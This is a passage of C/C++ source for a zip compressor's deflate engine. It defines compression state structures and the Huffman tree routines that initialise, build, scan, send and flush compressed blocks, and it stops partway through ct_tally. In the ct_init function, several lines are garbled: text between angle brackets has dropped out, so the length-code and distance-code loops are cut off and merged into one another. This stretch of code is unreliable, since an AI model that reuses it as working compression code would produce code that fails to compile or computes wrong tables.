514 | // An index in this array is thus a window index modulo 32K.
515 | Pos head[HASH_SIZE];
516 | // Heads of the hash chains or NIL. If your compiler thinks that
517 | // HASH_SIZE is a dynamic value, recompile with -DDYN_ALLOC.
518 |
519 | ulg window_size;
520 | // window size, 2*WSIZE except for MMAP or BIG_MEM, where it is the
521 | // input file length plus MIN_LOOKAHEAD.
522 |
523 | long block_start;
524 | // window position at the beginning of the current output block. Gets
525 | // negative when the window is moved backwards.
526 |
527 | int sliding;
528 | // Set to false when the input file is already in memory
529 |
530 | unsigned ins_h; // hash index of string to be inserted
531 |
532 | unsigned int prev_length;
533 | // Length of the best match at previous step. Matches not greater than this
534 | // are discarded. This is used in the lazy match evaluation.
535 |
536 | unsigned strstart; // start of string to insert
537 | unsigned match_start; // start of matching string
538 | int eofile; // flag set at end of input file
539 | unsigned lookahead; // number of valid bytes ahead in window
540 |
541 | unsigned max_chain_length;
542 | // To speed up deflation, hash chains are never searched beyond this length.
543 | // A higher limit improves compression ratio but degrades the speed.
544 |
545 | unsigned int max_lazy_match;
546 | // Attempt to find a better match only when the current match is strictly
547 | // smaller than this value. This mechanism is used only for compression
548 | // levels >= 4.
549 |
550 | unsigned good_match;
551 | // Use a faster search when the previous match is longer than this
552 |
553 | int nice_match; // Stop searching when current match exceeds this
554 | };
555 |
556 | typedef __int64 lutime_t; // define it ourselves since we don't include time.h
557 |
558 | typedef struct iztimes {
559 | lutime_t atime,mtime,ctime;
560 | } iztimes; // access, modify, create times
561 |
562 | typedef struct zlist {
563 | ush vem, ver, flg, how; // See central header in zipfile.c for what vem..off are
564 | ulg tim, crc, siz, len;
565 | extent nam, ext, cext, com; // offset of ext must be >= LOCHEAD
566 | ush dsk, att, lflg; // offset of lflg must be >= LOCHEAD
567 | ulg atx, off;
568 | char name[MAX_PATH]; // File name in zip file
569 | char *extra; // Extra field (set only if ext != 0)
570 | char *cextra; // Extra in central (set only if cext != 0)
571 | char *comment; // Comment (set only if com != 0)
572 | char iname[MAX_PATH]; // Internal file name after cleanup
573 | char zname[MAX_PATH]; // External version of internal name
574 | int mark; // Marker for files to operate on
575 | int trash; // Marker for files to delete
576 | int dosflag; // Set to force MSDOS file attributes
577 | struct zlist far *nxt; // Pointer to next header in list
578 | } TZipFileInfo;
579 |
580 |
581 | struct TState;
582 | typedef unsigned (*READFUNC)(TState &state, char *buf,unsigned size);
583 | typedef unsigned (*FLUSHFUNC)(void *param, const char *buf, unsigned *size);
584 | typedef unsigned (*WRITEFUNC)(void *param, const char *buf, unsigned size);
585 | struct TState
586 | { void *param;
587 | int level; bool seekable;
588 | READFUNC readfunc; FLUSHFUNC flush_outbuf;
589 | TTreeState ts; TBitState bs; TDeflateState ds;
590 | const char *err;
591 | };
592 |
593 |
594 |
595 |
596 |
597 |
598 |
599 |
600 |
601 | void Assert(TState &state,bool cond, const char *msg)
602 | { if (cond) return;
603 | state.err=msg;
604 | }
605 | void __cdecl Trace(const char *x, ...) {va_list paramList; va_start(paramList, x); paramList; va_end(paramList);}
606 | void __cdecl Tracec(bool ,const char *x, ...) {va_list paramList; va_start(paramList, x); paramList; va_end(paramList);}
607 |
608 |
609 |
610 | // ===========================================================================
611 | // Local (static) routines in this file.
612 | //
613 |
614 | void init_block (TState &);
615 | void pqdownheap (TState &,ct_data *tree, int k);
616 | void gen_bitlen (TState &,tree_desc *desc);
617 | void gen_codes (TState &state,ct_data *tree, int max_code);
618 | void build_tree (TState &,tree_desc *desc);
619 | void scan_tree (TState &,ct_data *tree, int max_code);
620 | void send_tree (TState &state,ct_data *tree, int max_code);
621 | int build_bl_tree (TState &);
622 | void send_all_trees (TState &state,int lcodes, int dcodes, int blcodes);
623 | void compress_block (TState &state,ct_data *ltree, ct_data *dtree);
624 | void set_file_type (TState &);
625 | void send_bits (TState &state, int value, int length);
626 | unsigned bi_reverse (unsigned code, int len);
627 | void bi_windup (TState &state);
628 | void copy_block (TState &state,char *buf, unsigned len, int header);
629 |
630 |
631 | #define send_code(state, c, tree) send_bits(state, tree[c].fc.code, tree[c].dl.len)
632 | // Send a code of the given tree. c and tree must not have side effects
633 |
634 | // alternatively...
635 | //#define send_code(state, c, tree)
636 | // { if (state.verbose>1) fprintf(stderr,"\ncd %3d ",(c));
637 | // send_bits(state, tree[c].fc.code, tree[c].dl.len); }
638 |
639 | #define d_code(dist) ((dist) < 256 ? state.ts.dist_code[dist] : state.ts.dist_code[256+((dist)>>7)])
640 | // Mapping from a distance to a distance code. dist is the distance - 1 and
641 | // must not have side effects. dist_code[256] and dist_code[257] are never used.
642 |
643 | #define Max(a,b) (a >= b ? a : b)
644 | /* the arguments must not have side effects */
645 |
646 | /* ===========================================================================
647 | * Allocate the match buffer, initialize the various tables and save the
648 | * location of the internal file attribute (ascii/binary) and method
649 | * (DEFLATE/STORE).
650 | */
651 | void ct_init(TState &state, ush *attr)
652 | {
653 | int n; /* iterates over tree elements */
654 | int bits; /* bit counter */
655 | int length; /* length value */
656 | int code; /* code value */
657 | int dist; /* distance index */
658 |
659 | state.ts.file_type = attr;
660 | //state.ts.file_method = method;
661 | state.ts.cmpr_bytelen = state.ts.cmpr_len_bits = 0L;
662 | state.ts.input_len = 0L;
663 |
664 | if (state.ts.static_dtree[0].dl.len != 0) return; /* ct_init already called */
665 |
666 | /* Initialize the mapping length (0..255) -> length code (0..28) */
667 | length = 0;
668 | for (code = 0; code < LENGTH_CODES-1; code++) {
669 | state.ts.base_length[code] = length;
670 | for (n = 0; n < (1< dist code (0..29) */
682 | dist = 0;
683 | for (code = 0 ; code < 16; code++) {
684 | state.ts.base_dist[code] = dist;
685 | for (n = 0; n < (1<>= 7; /* from now on, all distances are divided by 128 */
691 | for ( ; code < D_CODES; code++) {
692 | state.ts.base_dist[code] = dist << 7;
693 | for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) {
694 | state.ts.dist_code[256 + dist++] = (uch)code;
695 | }
696 | }
697 | Assert(state,dist == 256, "ct_init: 256+dist != 512");
698 |
699 | /* Construct the codes of the static literal tree */
700 | for (bits = 0; bits <= MAX_BITS; bits++) state.ts.bl_count[bits] = 0;
701 | n = 0;
702 | while (n <= 143) state.ts.static_ltree[n++].dl.len = 8, state.ts.bl_count[8]++;
703 | while (n <= 255) state.ts.static_ltree[n++].dl.len = 9, state.ts.bl_count[9]++;
704 | while (n <= 279) state.ts.static_ltree[n++].dl.len = 7, state.ts.bl_count[7]++;
705 | while (n <= 287) state.ts.static_ltree[n++].dl.len = 8, state.ts.bl_count[8]++;
706 | /* fc.codes 286 and 287 do not exist, but we must include them in the
707 | * tree construction to get a canonical Huffman tree (longest code
708 | * all ones)
709 | */
710 | gen_codes(state,(ct_data *)state.ts.static_ltree, L_CODES+1);
711 |
712 | /* The static distance tree is trivial: */
713 | for (n = 0; n < D_CODES; n++) {
714 | state.ts.static_dtree[n].dl.len = 5;
715 | state.ts.static_dtree[n].fc.code = (ush)bi_reverse(n, 5);
716 | }
717 |
718 | /* Initialize the first block of the first file: */
719 | init_block(state);
720 | }
721 |
722 | /* ===========================================================================
723 | * Initialize a new block.
724 | */
725 | void init_block(TState &state)
726 | {
727 | int n; /* iterates over tree elements */
728 |
729 | /* Initialize the trees. */
730 | for (n = 0; n < L_CODES; n++) state.ts.dyn_ltree[n].fc.freq = 0;
731 | for (n = 0; n < D_CODES; n++) state.ts.dyn_dtree[n].fc.freq = 0;
732 | for (n = 0; n < BL_CODES; n++) state.ts.bl_tree[n].fc.freq = 0;
733 |
734 | state.ts.dyn_ltree[END_BLOCK].fc.freq = 1;
735 | state.ts.opt_len = state.ts.static_len = 0L;
736 | state.ts.last_lit = state.ts.last_dist = state.ts.last_flags = 0;
737 | state.ts.flags = 0; state.ts.flag_bit = 1;
738 | }
739 |
740 | #define SMALLEST 1
741 | /* Index within the heap array of least frequent node in the Huffman tree */
742 |
743 |
744 | /* ===========================================================================
745 | * Remove the smallest element from the heap and recreate the heap with
746 | * one less element. Updates heap and heap_len.
747 | */
748 | #define pqremove(tree, top) \
749 | {\
750 | top = state.ts.heap[SMALLEST]; \
751 | state.ts.heap[SMALLEST] = state.ts.heap[state.ts.heap_len--]; \
752 | pqdownheap(state,tree, SMALLEST); \
753 | }
754 |
755 | /* ===========================================================================
756 | * Compares to subtrees, using the tree depth as tie breaker when
757 | * the subtrees have equal frequency. This minimizes the worst case length.
758 | */
759 | #define smaller(tree, n, m) \
760 | (tree[n].fc.freq < tree[m].fc.freq || \
761 | (tree[n].fc.freq == tree[m].fc.freq && state.ts.depth[n] <= state.ts.depth[m]))
762 |
763 | /* ===========================================================================
764 | * Restore the heap property by moving down the tree starting at node k,
765 | * exchanging a node with the smallest of its two sons if necessary, stopping
766 | * when the heap property is re-established (each father smaller than its
767 | * two sons).
768 | */
769 | void pqdownheap(TState &state,ct_data *tree, int k)
770 | {
771 | int v = state.ts.heap[k];
772 | int j = k << 1; /* left son of k */
773 | int htemp; /* required because of bug in SASC compiler */
774 |
775 | while (j <= state.ts.heap_len) {
776 | /* Set j to the smallest of the two sons: */
777 | if (j < state.ts.heap_len && smaller(tree, state.ts.heap[j+1], state.ts.heap[j])) j++;
778 |
779 | /* Exit if v is smaller than both sons */
780 | htemp = state.ts.heap[j];
781 | if (smaller(tree, v, htemp)) break;
782 |
783 | /* Exchange v with the smallest son */
784 | state.ts.heap[k] = htemp;
785 | k = j;
786 |
787 | /* And continue down the tree, setting j to the left son of k */
788 | j <<= 1;
789 | }
790 | state.ts.heap[k] = v;
791 | }
792 |
793 | /* ===========================================================================
794 | * Compute the optimal bit lengths for a tree and update the total bit length
795 | * for the current block.
796 | * IN assertion: the fields freq and dad are set, heap[heap_max] and
797 | * above are the tree nodes sorted by increasing frequency.
798 | * OUT assertions: the field len is set to the optimal bit length, the
799 | * array bl_count contains the frequencies for each bit length.
800 | * The length opt_len is updated; static_len is also updated if stree is
801 | * not null.
802 | */
803 | void gen_bitlen(TState &state,tree_desc *desc)
804 | {
805 | ct_data *tree = desc->dyn_tree;
806 | const int *extra = desc->extra_bits;
807 | int base = desc->extra_base;
808 | int max_code = desc->max_code;
809 | int max_length = desc->max_length;
810 | ct_data *stree = desc->static_tree;
811 | int h; /* heap index */
812 | int n, m; /* iterate over the tree elements */
813 | int bits; /* bit length */
814 | int xbits; /* extra bits */
815 | ush f; /* frequency */
816 | int overflow = 0; /* number of elements with bit length too large */
817 |
818 | for (bits = 0; bits <= MAX_BITS; bits++) state.ts.bl_count[bits] = 0;
819 |
820 | /* In a first pass, compute the optimal bit lengths (which may
821 | * overflow in the case of the bit length tree).
822 | */
823 | tree[state.ts.heap[state.ts.heap_max]].dl.len = 0; /* root of the heap */
824 |
825 | for (h = state.ts.heap_max+1; h < HEAP_SIZE; h++) {
826 | n = state.ts.heap[h];
827 | bits = tree[tree[n].dl.dad].dl.len + 1;
828 | if (bits > max_length) bits = max_length, overflow++;
829 | tree[n].dl.len = (ush)bits;
830 | /* We overwrite tree[n].dl.dad which is no longer needed */
831 |
832 | if (n > max_code) continue; /* not a leaf node */
833 |
834 | state.ts.bl_count[bits]++;
835 | xbits = 0;
836 | if (n >= base) xbits = extra[n-base];
837 | f = tree[n].fc.freq;
838 | state.ts.opt_len += (ulg)f * (bits + xbits);
839 | if (stree) state.ts.static_len += (ulg)f * (stree[n].dl.len + xbits);
840 | }
841 | if (overflow == 0) return;
842 |
843 | Trace("\nbit length overflow\n");
844 | /* This happens for example on obj2 and pic of the Calgary corpus */
845 |
846 | /* Find the first bit length which could increase: */
847 | do {
848 | bits = max_length-1;
849 | while (state.ts.bl_count[bits] == 0) bits--;
850 | state.ts.bl_count[bits]--; /* move one leaf down the tree */
851 | state.ts.bl_count[bits+1] += (ush)2; /* move one overflow item as its brother */
852 | state.ts.bl_count[max_length]--;
853 | /* The brother of the overflow item also moves one step up,
854 | * but this does not affect bl_count[max_length]
855 | */
856 | overflow -= 2;
857 | } while (overflow > 0);
858 |
859 | /* Now recompute all bit lengths, scanning in increasing frequency.
860 | * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all
861 | * lengths instead of fixing only the wrong ones. This idea is taken
862 | * from 'ar' written by Haruhiko Okumura.)
863 | */
864 | for (bits = max_length; bits != 0; bits--) {
865 | n = state.ts.bl_count[bits];
866 | while (n != 0) {
867 | m = state.ts.heap[--h];
868 | if (m > max_code) continue;
869 | if (tree[m].dl.len != (ush)bits) {
870 | Trace("code %d bits %d->%d\n", m, tree[m].dl.len, bits);
871 | state.ts.opt_len += ((long)bits-(long)tree[m].dl.len)*(long)tree[m].fc.freq;
872 | tree[m].dl.len = (ush)bits;
873 | }
874 | n--;
875 | }
876 | }
877 | }
878 |
879 | /* ===========================================================================
880 | * Generate the codes for a given tree and bit counts (which need not be
881 | * optimal).
882 | * IN assertion: the array bl_count contains the bit length statistics for
883 | * the given tree and the field len is set for all tree elements.
884 | * OUT assertion: the field code is set for all tree elements of non
885 | * zero code length.
886 | */
887 | void gen_codes (TState &state, ct_data *tree, int max_code)
888 | {
889 | ush next_code[MAX_BITS+1]; /* next code value for each bit length */
890 | ush code = 0; /* running code value */
891 | int bits; /* bit index */
892 | int n; /* code index */
893 |
894 | /* The distribution counts are first used to generate the code values
895 | * without bit reversal.
896 | */
897 | for (bits = 1; bits <= MAX_BITS; bits++) {
898 | next_code[bits] = code = (ush)((code + state.ts.bl_count[bits-1]) << 1);
899 | }
900 | /* Check that the bit counts in bl_count are consistent. The last code
901 | * must be all ones.
902 | */
903 | Assert(state,code + state.ts.bl_count[MAX_BITS]-1 == (1<< ((ush) MAX_BITS)) - 1,
904 | "inconsistent bit counts");
905 | Trace("\ngen_codes: max_code %d ", max_code);
906 |
907 | for (n = 0; n <= max_code; n++) {
908 | int len = tree[n].dl.len;
909 | if (len == 0) continue;
910 | /* Now reverse the bits */
911 | tree[n].fc.code = (ush)bi_reverse(next_code[len]++, len);
912 |
913 | //Tracec(tree != state.ts.static_ltree, "\nn %3d %c l %2d c %4x (%x) ", n, (isgraph(n) ? n : ' '), len, tree[n].fc.code, next_code[len]-1);
914 | }
915 | }
916 |
917 | /* ===========================================================================
918 | * Construct one Huffman tree and assigns the code bit strings and lengths.
919 | * Update the total bit length for the current block.
920 | * IN assertion: the field freq is set for all tree elements.
921 | * OUT assertions: the fields len and code are set to the optimal bit length
922 | * and corresponding code. The length opt_len is updated; static_len is
923 | * also updated if stree is not null. The field max_code is set.
924 | */
925 | void build_tree(TState &state,tree_desc *desc)
926 | {
927 | ct_data *tree = desc->dyn_tree;
928 | ct_data *stree = desc->static_tree;
929 | int elems = desc->elems;
930 | int n, m; /* iterate over heap elements */
931 | int max_code = -1; /* largest code with non zero frequency */
932 | int node = elems; /* next internal node of the tree */
933 |
934 | /* Construct the initial heap, with least frequent element in
935 | * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1].
936 | * heap[0] is not used.
937 | */
938 | state.ts.heap_len = 0, state.ts.heap_max = HEAP_SIZE;
939 |
940 | for (n = 0; n < elems; n++) {
941 | if (tree[n].fc.freq != 0) {
942 | state.ts.heap[++state.ts.heap_len] = max_code = n;
943 | state.ts.depth[n] = 0;
944 | } else {
945 | tree[n].dl.len = 0;
946 | }
947 | }
948 |
949 | /* The pkzip format requires that at least one distance code exists,
950 | * and that at least one bit should be sent even if there is only one
951 | * possible code. So to avoid special checks later on we force at least
952 | * two codes of non zero frequency.
953 | */
954 | while (state.ts.heap_len < 2) {
955 | int newcp = state.ts.heap[++state.ts.heap_len] = (max_code < 2 ? ++max_code : 0);
956 | tree[newcp].fc.freq = 1;
957 | state.ts.depth[newcp] = 0;
958 | state.ts.opt_len--; if (stree) state.ts.static_len -= stree[newcp].dl.len;
959 | /* new is 0 or 1 so it does not have extra bits */
960 | }
961 | desc->max_code = max_code;
962 |
963 | /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree,
964 | * establish sub-heaps of increasing lengths:
965 | */
966 | for (n = state.ts.heap_len/2; n >= 1; n--) pqdownheap(state,tree, n);
967 |
968 | /* Construct the Huffman tree by repeatedly combining the least two
969 | * frequent nodes.
970 | */
971 | do {
972 | pqremove(tree, n); /* n = node of least frequency */
973 | m = state.ts.heap[SMALLEST]; /* m = node of next least frequency */
974 |
975 | state.ts.heap[--state.ts.heap_max] = n; /* keep the nodes sorted by frequency */
976 | state.ts.heap[--state.ts.heap_max] = m;
977 |
978 | /* Create a new node father of n and m */
979 | tree[node].fc.freq = (ush)(tree[n].fc.freq + tree[m].fc.freq);
980 | state.ts.depth[node] = (uch) (Max(state.ts.depth[n], state.ts.depth[m]) + 1);
981 | tree[n].dl.dad = tree[m].dl.dad = (ush)node;
982 | /* and insert the new node in the heap */
983 | state.ts.heap[SMALLEST] = node++;
984 | pqdownheap(state,tree, SMALLEST);
985 |
986 | } while (state.ts.heap_len >= 2);
987 |
988 | state.ts.heap[--state.ts.heap_max] = state.ts.heap[SMALLEST];
989 |
990 | /* At this point, the fields freq and dad are set. We can now
991 | * generate the bit lengths.
992 | */
993 | gen_bitlen(state,(tree_desc *)desc);
994 |
995 | /* The field len is now set, we can generate the bit codes */
996 | gen_codes (state,(ct_data *)tree, max_code);
997 | }
998 |
999 | /* ===========================================================================
1000 | * Scan a literal or distance tree to determine the frequencies of the codes
1001 | * in the bit length tree. Updates opt_len to take into account the repeat
1002 | * counts. (The contribution of the bit length codes will be added later
1003 | * during the construction of bl_tree.)
1004 | */
1005 | void scan_tree (TState &state,ct_data *tree, int max_code)
1006 | {
1007 | int n; /* iterates over all tree elements */
1008 | int prevlen = -1; /* last emitted length */
1009 | int curlen; /* length of current code */
1010 | int nextlen = tree[0].dl.len; /* length of next code */
1011 | int count = 0; /* repeat count of the current code */
1012 | int max_count = 7; /* max repeat count */
1013 | int min_count = 4; /* min repeat count */
1014 |
1015 | if (nextlen == 0) max_count = 138, min_count = 3;
1016 | tree[max_code+1].dl.len = (ush)-1; /* guard */
1017 |
1018 | for (n = 0; n <= max_code; n++) {
1019 | curlen = nextlen; nextlen = tree[n+1].dl.len;
1020 | if (++count < max_count && curlen == nextlen) {
1021 | continue;
1022 | } else if (count < min_count) {
1023 | state.ts.bl_tree[curlen].fc.freq = (ush)(state.ts.bl_tree[curlen].fc.freq + count);
1024 | } else if (curlen != 0) {
1025 | if (curlen != prevlen) state.ts.bl_tree[curlen].fc.freq++;
1026 | state.ts.bl_tree[REP_3_6].fc.freq++;
1027 | } else if (count <= 10) {
1028 | state.ts.bl_tree[REPZ_3_10].fc.freq++;
1029 | } else {
1030 | state.ts.bl_tree[REPZ_11_138].fc.freq++;
1031 | }
1032 | count = 0; prevlen = curlen;
1033 | if (nextlen == 0) {
1034 | max_count = 138, min_count = 3;
1035 | } else if (curlen == nextlen) {
1036 | max_count = 6, min_count = 3;
1037 | } else {
1038 | max_count = 7, min_count = 4;
1039 | }
1040 | }
1041 | }
1042 |
1043 | /* ===========================================================================
1044 | * Send a literal or distance tree in compressed form, using the codes in
1045 | * bl_tree.
1046 | */
1047 | void send_tree (TState &state, ct_data *tree, int max_code)
1048 | {
1049 | int n; /* iterates over all tree elements */
1050 | int prevlen = -1; /* last emitted length */
1051 | int curlen; /* length of current code */
1052 | int nextlen = tree[0].dl.len; /* length of next code */
1053 | int count = 0; /* repeat count of the current code */
1054 | int max_count = 7; /* max repeat count */
1055 | int min_count = 4; /* min repeat count */
1056 |
1057 | /* tree[max_code+1].dl.len = -1; */ /* guard already set */
1058 | if (nextlen == 0) max_count = 138, min_count = 3;
1059 |
1060 | for (n = 0; n <= max_code; n++) {
1061 | curlen = nextlen; nextlen = tree[n+1].dl.len;
1062 | if (++count < max_count && curlen == nextlen) {
1063 | continue;
1064 | } else if (count < min_count) {
1065 | do { send_code(state, curlen, state.ts.bl_tree); } while (--count != 0);
1066 |
1067 | } else if (curlen != 0) {
1068 | if (curlen != prevlen) {
1069 | send_code(state, curlen, state.ts.bl_tree); count--;
1070 | }
1071 | Assert(state,count >= 3 && count <= 6, " 3_6?");
1072 | send_code(state,REP_3_6, state.ts.bl_tree); send_bits(state,count-3, 2);
1073 |
1074 | } else if (count <= 10) {
1075 | send_code(state,REPZ_3_10, state.ts.bl_tree); send_bits(state,count-3, 3);
1076 |
1077 | } else {
1078 | send_code(state,REPZ_11_138, state.ts.bl_tree); send_bits(state,count-11, 7);
1079 | }
1080 | count = 0; prevlen = curlen;
1081 | if (nextlen == 0) {
1082 | max_count = 138, min_count = 3;
1083 | } else if (curlen == nextlen) {
1084 | max_count = 6, min_count = 3;
1085 | } else {
1086 | max_count = 7, min_count = 4;
1087 | }
1088 | }
1089 | }
1090 |
1091 | /* ===========================================================================
1092 | * Construct the Huffman tree for the bit lengths and return the index in
1093 | * bl_order of the last bit length code to send.
1094 | */
1095 | int build_bl_tree(TState &state)
1096 | {
1097 | int max_blindex; /* index of last bit length code of non zero freq */
1098 |
1099 | /* Determine the bit length frequencies for literal and distance trees */
1100 | scan_tree(state,(ct_data *)state.ts.dyn_ltree, state.ts.l_desc.max_code);
1101 | scan_tree(state,(ct_data *)state.ts.dyn_dtree, state.ts.d_desc.max_code);
1102 |
1103 | /* Build the bit length tree: */
1104 | build_tree(state,(tree_desc *)(&state.ts.bl_desc));
1105 | /* opt_len now includes the length of the tree representations, except
1106 | * the lengths of the bit lengths codes and the 5+5+4 bits for the counts.
1107 | */
1108 |
1109 | /* Determine the number of bit length codes to send. The pkzip format
1110 | * requires that at least 4 bit length codes be sent. (appnote.txt says
1111 | * 3 but the actual value used is 4.)
1112 | */
1113 | for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) {
1114 | if (state.ts.bl_tree[bl_order[max_blindex]].dl.len != 0) break;
1115 | }
1116 | /* Update opt_len to include the bit length tree and counts */
1117 | state.ts.opt_len += 3*(max_blindex+1) + 5+5+4;
1118 | Trace("\ndyn trees: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len);
1119 |
1120 | return max_blindex;
1121 | }
1122 |
1123 | /* ===========================================================================
1124 | * Send the header for a block using dynamic Huffman trees: the counts, the
1125 | * lengths of the bit length codes, the literal tree and the distance tree.
1126 | * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4.
1127 | */
1128 | void send_all_trees(TState &state,int lcodes, int dcodes, int blcodes)
1129 | {
1130 | int rank; /* index in bl_order */
1131 |
1132 | Assert(state,lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes");
1133 | Assert(state,lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES,
1134 | "too many codes");
1135 | Trace("\nbl counts: ");
1136 | send_bits(state,lcodes-257, 5);
1137 | /* not +255 as stated in appnote.txt 1.93a or -256 in 2.04c */
1138 | send_bits(state,dcodes-1, 5);
1139 | send_bits(state,blcodes-4, 4); /* not -3 as stated in appnote.txt */
1140 | for (rank = 0; rank < blcodes; rank++) {
1141 | Trace("\nbl code %2d ", bl_order[rank]);
1142 | send_bits(state,state.ts.bl_tree[bl_order[rank]].dl.len, 3);
1143 | }
1144 | Trace("\nbl tree: sent %ld", state.bs.bits_sent);
1145 |
1146 | send_tree(state,(ct_data *)state.ts.dyn_ltree, lcodes-1); /* send the literal tree */
1147 | Trace("\nlit tree: sent %ld", state.bs.bits_sent);
1148 |
1149 | send_tree(state,(ct_data *)state.ts.dyn_dtree, dcodes-1); /* send the distance tree */
1150 | Trace("\ndist tree: sent %ld", state.bs.bits_sent);
1151 | }
1152 |
1153 | /* ===========================================================================
1154 | * Determine the best encoding for the current block: dynamic trees, static
1155 | * trees or store, and output the encoded block to the zip file. This function
1156 | * returns the total compressed length (in bytes) for the file so far.
1157 | */
1158 | ulg flush_block(TState &state,char *buf, ulg stored_len, int eof)
1159 | {
1160 | ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */
1161 | int max_blindex; /* index of last bit length code of non zero freq */
1162 |
1163 | state.ts.flag_buf[state.ts.last_flags] = state.ts.flags; /* Save the flags for the last 8 items */
1164 |
1165 | /* Check if the file is ascii or binary */
1166 | if (*state.ts.file_type == (ush)UNKNOWN) set_file_type(state);
1167 |
1168 | /* Construct the literal and distance trees */
1169 | build_tree(state,(tree_desc *)(&state.ts.l_desc));
1170 | Trace("\nlit data: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len);
1171 |
1172 | build_tree(state,(tree_desc *)(&state.ts.d_desc));
1173 | Trace("\ndist data: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len);
1174 | /* At this point, opt_len and static_len are the total bit lengths of
1175 | * the compressed block data, excluding the tree representations.
1176 | */
1177 |
1178 | /* Build the bit length tree for the above two trees, and get the index
1179 | * in bl_order of the last bit length code to send.
1180 | */
1181 | max_blindex = build_bl_tree(state);
1182 |
1183 | /* Determine the best encoding. Compute first the block length in bytes */
1184 | opt_lenb = (state.ts.opt_len+3+7)>>3;
1185 | static_lenb = (state.ts.static_len+3+7)>>3;
1186 | state.ts.input_len += stored_len; /* for debugging only */
1187 |
1188 | Trace("\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u dist %u ",
1189 | opt_lenb, state.ts.opt_len, static_lenb, state.ts.static_len, stored_len,
1190 | state.ts.last_lit, state.ts.last_dist);
1191 |
1192 | if (static_lenb <= opt_lenb) opt_lenb = static_lenb;
1193 |
1194 | // Originally, zip allowed the file to be transformed from a compressed
1195 | // into a stored file in the case where compression failed, there
1196 | // was only one block, and it was allowed to change. I've removed this
1197 | // possibility since the code's cleaner if no changes are allowed.
1198 | //if (stored_len <= opt_lenb && eof && state.ts.cmpr_bytelen == 0L
1199 | // && state.ts.cmpr_len_bits == 0L && state.seekable)
1200 | //{ // && state.ts.file_method != NULL
1201 | // // Since LIT_BUFSIZE <= 2*WSIZE, the input data must be there:
1202 | // Assert(state,buf!=NULL,"block vanished");
1203 | // copy_block(state,buf, (unsigned)stored_len, 0); // without header
1204 | // state.ts.cmpr_bytelen = stored_len;
1205 | // Assert(state,false,"unimplemented *state.ts.file_method = STORE;");
1206 | // //*state.ts.file_method = STORE;
1207 | //}
1208 | //else
1209 | if (stored_len+4 <= opt_lenb && buf != (char*)NULL) {
1210 | /* 4: two words for the lengths */
1211 | /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE.
1212 | * Otherwise we can't have processed more than WSIZE input bytes since
1213 | * the last block flush, because compression would have been
1214 | * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to
1215 | * transform a block into a stored block.
1216 | */
1217 | send_bits(state,(STORED_BLOCK<<1)+eof, 3); /* send block type */
1218 | state.ts.cmpr_bytelen += ((state.ts.cmpr_len_bits + 3 + 7) >> 3) + stored_len + 4;
1219 | state.ts.cmpr_len_bits = 0L;
1220 |
1221 | copy_block(state,buf, (unsigned)stored_len, 1); /* with header */
1222 | }
1223 | else if (static_lenb == opt_lenb) {
1224 | send_bits(state,(STATIC_TREES<<1)+eof, 3);
1225 | compress_block(state,(ct_data *)state.ts.static_ltree, (ct_data *)state.ts.static_dtree);
1226 | state.ts.cmpr_len_bits += 3 + state.ts.static_len;
1227 | state.ts.cmpr_bytelen += state.ts.cmpr_len_bits >> 3;
1228 | state.ts.cmpr_len_bits &= 7L;
1229 | }
1230 | else {
1231 | send_bits(state,(DYN_TREES<<1)+eof, 3);
1232 | send_all_trees(state,state.ts.l_desc.max_code+1, state.ts.d_desc.max_code+1, max_blindex+1);
1233 | compress_block(state,(ct_data *)state.ts.dyn_ltree, (ct_data *)state.ts.dyn_dtree);
1234 | state.ts.cmpr_len_bits += 3 + state.ts.opt_len;
1235 | state.ts.cmpr_bytelen += state.ts.cmpr_len_bits >> 3;
1236 | state.ts.cmpr_len_bits &= 7L;
1237 | }
1238 | Assert(state,((state.ts.cmpr_bytelen << 3) + state.ts.cmpr_len_bits) == state.bs.bits_sent, "bad compressed size");
1239 | init_block(state);
1240 |
1241 | if (eof) {
1242 | // Assert(state,input_len == isize, "bad input size");
1243 | bi_windup(state);
1244 | state.ts.cmpr_len_bits += 7; /* align on byte boundary */
1245 | }
1246 | Trace("\n");
1247 |
1248 | return state.ts.cmpr_bytelen + (state.ts.cmpr_len_bits >> 3);
1249 | }
1250 |
1251 | /* ===========================================================================
1252 | * Save the match info and tally the frequency counts. Return true if
1253 | * the current block must be flushed.
1254 | */
1255 | int ct_tally (TState &state,int dist, int lc)
1256 | {
1257 | state.ts.l_buf[state.ts.last_lit++] = (uch)lc;
1258 | if (dist == 0) {
1259 | /* lc is the unmatched char */
1260 | state.ts.dyn_ltree[lc].fc.freq++;
1261 | } else {
1262 | /* Here, lc is the match length - MIN_MATCH */
1263 | dist--; /* dist = match distance - 1 */
1264 | Assert(state,(ush)dist < (ush)MAX_DIST &&
1265 | (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) &&
1266 | (ush)d_code(dist) < (ush)D_CODES, "ct_tally: bad match");
1267 |
1268 | state.ts.dyn_ltree[state.ts.length_code[lc]+LITERALS+1].fc.freq++;
1269 | state.ts.dyn_dtree[d_code(dist)].fc.freq++;
1270 |
1271 | state.ts.d_buf[state.ts.last_dist++] = (ush)dist;
1272 | state.ts.flags |= state.ts.flag_bit;
1273 | }
1274 | state.ts.flag_bit <<= 1;
1275 |
1276 | /* Output the flags if they fill a byte: */
1277 | if ((state.ts.last_lit & 7) == 0) {
1278 | state.ts.flag_buf[state.ts.last_flags++] = state.ts.flags;
1279 | state.ts.flags = 0, state.ts.flag_bit = 1;
1280 | }
1281 | /* Try to guess if it is profitable to stop the current block here */
1282 | if (state.level > 2 && (state.ts.last_lit & 0xfff) == 0) {
1283 | /* Compute an upper bound for the compressed length */
1284 | ulg out_length = (ulg)state.ts.last_lit*8L;
1285 | ulg in_length = (ulg)state.ds.strstart-state.ds.block_start;
1286 | int dcode;
